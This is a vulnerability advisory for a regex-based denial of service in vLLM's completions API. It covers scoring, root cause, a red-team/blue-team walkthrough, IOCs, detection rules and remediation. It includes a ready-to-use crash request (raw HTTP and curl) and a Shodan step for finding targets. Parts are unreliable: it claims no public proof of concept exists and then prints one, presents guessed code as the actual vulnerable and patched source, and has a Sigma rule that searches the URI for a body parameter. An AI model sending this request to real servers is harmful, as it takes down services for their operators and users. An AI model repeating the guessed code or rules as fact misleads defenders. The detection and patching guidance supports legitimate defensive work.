CVE-2025-48942

Executive Summary

CVE-2025-48942 is a denial-of-service (DoS) vulnerability in vLLM, an inference and serving engine for large language models (LLMs). The flaw resides in the /v1/completions API endpoint, where a crafted invalid regex pattern supplied as a guided parameter can crash the vLLM server process. This vulnerability is similar to CVE-2025-48943, which affects JSON schema validation, but targets regex handling instead. The issue affects versions 0.8.0 up to but excluding 0.9.0. The CVSS score is 6.5 (Medium), with a vector emphasizing network-based, low-complexity attacks requiring no privileges or user interaction, leading to high availability impact. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. The patch is available in vLLM version 0.9.0.

Supply Chain & Package Security

vLLM is distributed as a Python package via PyPI (vllm). Organizations using vLLM should verify their installed version and update to 0.9.0 or later. The vulnerability does not affect the package supply chain itself but rather the runtime behavior of the server. Ensure that the package is obtained from the official PyPI repository and that integrity checks (e.g., SHA256 hashes) are performed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication or privileges are needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): High – The server can be completely crashed, causing a denial of service.

Threat Level: Medium. While the impact is limited to availability, the ease of exploitation (no auth, low complexity) makes it a viable vector for disrupting LLM services.

Deep Dive & Mechanics

The vulnerability exists in the handling of the guided_json parameter (or similar) in the /v1/completions API endpoint. When a user provides an invalid regex pattern as a guided parameter, the server attempts to compile or process the regex without proper validation. This can lead to an unhandled exception or resource exhaustion, crashing the server process.

The root cause is a lack of input validation and error handling for regex patterns. The server should sanitize or validate the regex before processing, and catch any exceptions that arise from malformed patterns. The fix in version 0.9.0 likely adds a try-catch block or uses a safe regex compilation method that returns an error instead of crashing.

The attack is simple: send a POST request to /v1/completions with a malformed regex in the guided parameter. For example:

POST /v1/completions HTTP/1.1
Host: target:8000
Content-Type: application/json

{
  "model": "my-model",
  "prompt": "Hello",
  "guided_json": {"type": "string", "pattern": "[invalid"}
}

The invalid regex [invalid (missing closing bracket) causes the server to crash.

Vulnerable vs. Patched Code

Vulnerable Code (v0.8.x):

# In the guided decoding handler
import re

def process_guided_regex(pattern):
    # No validation or error handling
    compiled = re.compile(pattern)  # This can raise re.error
    # ... use compiled regex

Patched Code (v0.9.0):

# In the guided decoding handler
import re

def process_guided_regex(pattern):
    try:
        compiled = re.compile(pattern)
    except re.error as e:
        # Return a proper error response instead of crashing
        raise ValueError(f"Invalid regex pattern: {e}")
    # ... use compiled regex

The patch adds a try-except block to catch re.error exceptions and return a controlled error response, preventing the server from crashing.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Crash the vLLM server to cause a denial of service.

Prerequisites:

• Access to the vLLM server's API endpoint (e.g., http://target:8000/v1/completions).
• No authentication required.

Exploit Steps:

1. Identify a vLLM server (e.g., via Shodan dork vllm).
2. Send a crafted POST request with an invalid regex pattern.

Example using curl:

curl -X POST http://target:8000/v1/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "my-model",
    "prompt": "Test",
    "guided_json": {"type": "string", "pattern": "[invalid"}
  }'

Expected Result: The server crashes and becomes unavailable. Subsequent requests will fail until the server is restarted.

Blue Team (Defender)

Detection:

• Monitor server logs for repeated invalid regex patterns in API requests.
• Use the Sigma rule provided in the Detection Engineering section to detect exploitation attempts.

Mitigation:

• Update vLLM to version 0.9.0 or later.
• Implement a Web Application Firewall (WAF) to block requests with malformed JSON or regex patterns.
• Restrict API access to trusted networks or use authentication.

Lab Setup:

1. Deploy a vulnerable vLLM instance (v0.8.x) in a controlled environment.
2. Use the exploit above to verify the crash.
3. Apply the patch by upgrading to v0.9.0 and confirm the server handles invalid regex gracefully.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /v1/completions containing "guided_json" with malformed regex patterns (e.g., missing brackets, invalid escape sequences).
  • Repeated 500 Internal Server Error responses followed by connection timeouts.
• System IOCs:
  • vLLM server process crash logs showing re.error exceptions.
  • Core dumps or crash reports from the vLLM process.
• Log IOCs:
  • Log entries containing re.error: unbalanced parenthesis or similar regex compilation errors.

Detection Engineering

YARA Rule

rule CVE_2025_48942_vLLM_Regex_DoS {
    meta:
        description = "Detects attempts to exploit CVE-2025-48942 via invalid regex in vLLM API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48942"
    strings:
        $json_key = "guided_json"
        $pattern_key = "pattern"
        $invalid_regex = /\[[^\]]*$/  // Missing closing bracket
    condition:
        $json_key and $pattern_key and $invalid_regex
}

Sigma Rule

title: CVE-2025-48942 vLLM Regex DoS Attempt
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3a1d4e5f6c
status: experimental
description: Detects HTTP requests to vLLM /v1/completions with malformed regex patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: vllm
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/completions'
        cs-uri-query|contains: 'guided_json'
        sc-status: 500
    condition: selection
falsepositives:
    - Legitimate requests with complex regex patterns that may cause errors
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48942 vLLM Regex DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/v1/completions"; http_uri; content:"guided_json"; http_client_body; pcre:"/\[[^\]]*$/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade vLLM: Update to version 0.9.0 or later. This is the only complete fix.

   pip install --upgrade vllm
   

2. Restrict API Access: If upgrading is not immediately possible, restrict access to the /v1/completions endpoint to trusted IPs or networks using firewall rules or reverse proxy configurations.
3. Input Validation: Implement a reverse proxy (e.g., Nginx) to validate JSON payloads and reject malformed regex patterns before they reach vLLM.

Long-term Measures:

• Regularly update vLLM and monitor for security advisories.
• Implement a Web Application Firewall (WAF) with rules to block suspicious regex patterns.
• Enable logging and monitoring for API errors to detect exploitation attempts.

Workaround (if patching is delayed):

• Disable the guided decoding feature by setting --guided-decoding-backend to none in the vLLM startup command. This will prevent the vulnerable code path from being executed but will also disable guided decoding functionality.

Valters IT